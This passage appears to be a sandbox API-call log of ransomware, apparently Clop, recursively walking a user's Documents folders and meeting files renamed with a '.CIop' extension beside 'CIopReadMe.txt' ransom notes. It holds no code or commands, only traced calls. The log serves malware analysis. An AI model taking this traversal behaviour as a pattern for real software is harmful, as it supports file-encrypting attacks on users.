hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.705] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.705] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.705] lstrcmpW (lpString1="My Notebook", lpString2="..") returned 1 [0148.705] lstrcmpW (lpString1="My Notebook", lpString2=".") returned 1 [0148.705] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0148.705] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" [0148.705] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\", lpString2="My Notebook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" [0148.705] SetErrorMode (uMode=0x1) returned 0x1 [0148.705] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" [0148.705] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" [0148.705] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" [0148.705] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*" [0148.705] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e2b8 [0148.706] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="My Notebook" [0148.706] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="My Notebook" | out: lpString1="My Notebook") returned="My Notebook" [0148.706] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.706] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.706] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0148.706] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0148.706] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.706] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.706] lstrcmpW (lpString1="Open Notebook.onetoc2.CIop", lpString2="..") returned 1 [0148.706] lstrcmpW (lpString1="Open Notebook.onetoc2.CIop", lpString2=".") returned 1 [0148.706] lstrlenW (lpString=".CIop") returned 5 [0148.706] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.706] lstrcmpW (lpString1="Quick Notes.one.CIop", lpString2="..") returned 1 [0148.706] lstrcmpW (lpString1="Quick Notes.one.CIop", lpString2=".") returned 1 [0148.706] lstrlenW (lpString=".CIop") returned 5 [0148.706] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0148.706] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0148.706] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0148.706] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" [0148.706] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*" [0148.706] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67db78 [0148.706] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="My Notebook" [0148.706] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="My Notebook" | out: lpString1="My Notebook") returned="My Notebook" [0148.706] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.706] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.706] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.706] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.706] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.706] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0148.706] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0148.706] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0148.707] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.707] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 1 [0148.707] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 0 [0148.707] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.707] lstrcmpW (lpString1="Outlook Files", lpString2="..") returned 1 [0148.707] lstrcmpW (lpString1="Outlook Files", lpString2=".") returned 1 [0148.707] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0148.707] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0148.707] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="Outlook Files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" [0148.707] SetErrorMode (uMode=0x1) returned 0x1 [0148.707] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" [0148.707] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" [0148.707] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" [0148.707] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*" [0148.707] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e0b8 [0148.707] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="Outlook Files" [0148.707] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Outlook Files" | out: lpString1="Outlook Files") returned="Outlook Files" [0148.707] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.707] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.707] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0148.707] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0148.707] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.707] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.707] lstrcmpW (lpString1="lcfkj@kiekc.df.pst.CIop", lpString2="..") returned 1 [0148.707] lstrcmpW (lpString1="lcfkj@kiekc.df.pst.CIop", lpString2=".") returned 1 [0148.707] lstrlenW (lpString=".CIop") returned 5 [0148.707] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.707] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 1 [0148.708] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 0 [0148.708] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files" [0148.708] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*" [0148.708] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67ddb8 [0148.708] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files") returned="Outlook Files" [0148.708] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Outlook Files" | out: lpString1="Outlook Files") returned="Outlook Files" [0148.708] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.708] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.708] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.708] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.708] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.708] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 1 [0148.708] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 0 [0148.708] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.708] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.708] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.708] lstrcmpW (lpString1="WZsO9vKmM1PXfg", lpString2="..") returned 1 [0148.708] lstrcmpW (lpString1="WZsO9vKmM1PXfg", lpString2=".") returned 1 [0148.708] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0148.708] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0148.708] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0148.708] SetErrorMode (uMode=0x1) returned 0x1 [0148.708] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0148.708] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" [0148.708] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" [0148.708] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*" [0148.708] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dbf8 [0148.709] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0148.709] lstrcpyW (in: lpString1=0x2dc7014, lpString2="WZsO9vKmM1PXfg" | out: lpString1="WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0148.709] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.709] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.709] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0148.709] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0148.709] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.709] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.709] lstrcmpW (lpString1="uhL6PZJxrZwaAeTB.ods.CIop", lpString2="..") returned 1 [0148.709] lstrcmpW (lpString1="uhL6PZJxrZwaAeTB.ods.CIop", lpString2=".") returned 1 [0148.709] lstrlenW (lpString=".CIop") returned 5 [0148.709] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.709] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.709] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0148.709] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0148.709] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0148.709] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*" [0148.709] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dc78 [0148.709] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0148.709] lstrcpyW (in: lpString1=0x2dc7014, lpString2="WZsO9vKmM1PXfg" | out: lpString1="WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0148.709] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.709] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.709] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.709] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.709] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0148.709] lstrcmpW (lpString1="us_5U4ni7qwInOUE", lpString2="..") returned 1 [0148.709] lstrcmpW (lpString1="us_5U4ni7qwInOUE", lpString2=".") returned 1 [0148.709] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0148.709] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" [0148.709] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\", lpString2="us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0148.709] SetErrorMode (uMode=0x1) returned 0x1 [0148.709] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0148.709] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0148.709] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0148.710] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*" [0148.710] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dd78 [0148.710] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0148.710] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="us_5U4ni7qwInOUE" | out: lpString1="us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0148.710] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.710] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.710] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.710] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.710] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.710] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.710] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0148.710] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0148.710] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0148.710] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0148.710] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*" [0148.710] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67ddb8 [0148.710] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0148.710] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="us_5U4ni7qwInOUE" | out: lpString1="us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0148.710] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.710] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.710] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.710] lstrcmpW (lpString1="-3ostnyb", lpString2="..") returned 1 [0148.710] lstrcmpW (lpString1="-3ostnyb", lpString2=".") returned 1 [0148.710] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0148.710] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0148.710] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0148.710] SetErrorMode (uMode=0x1) returned 0x1 [0148.710] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0148.710] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") 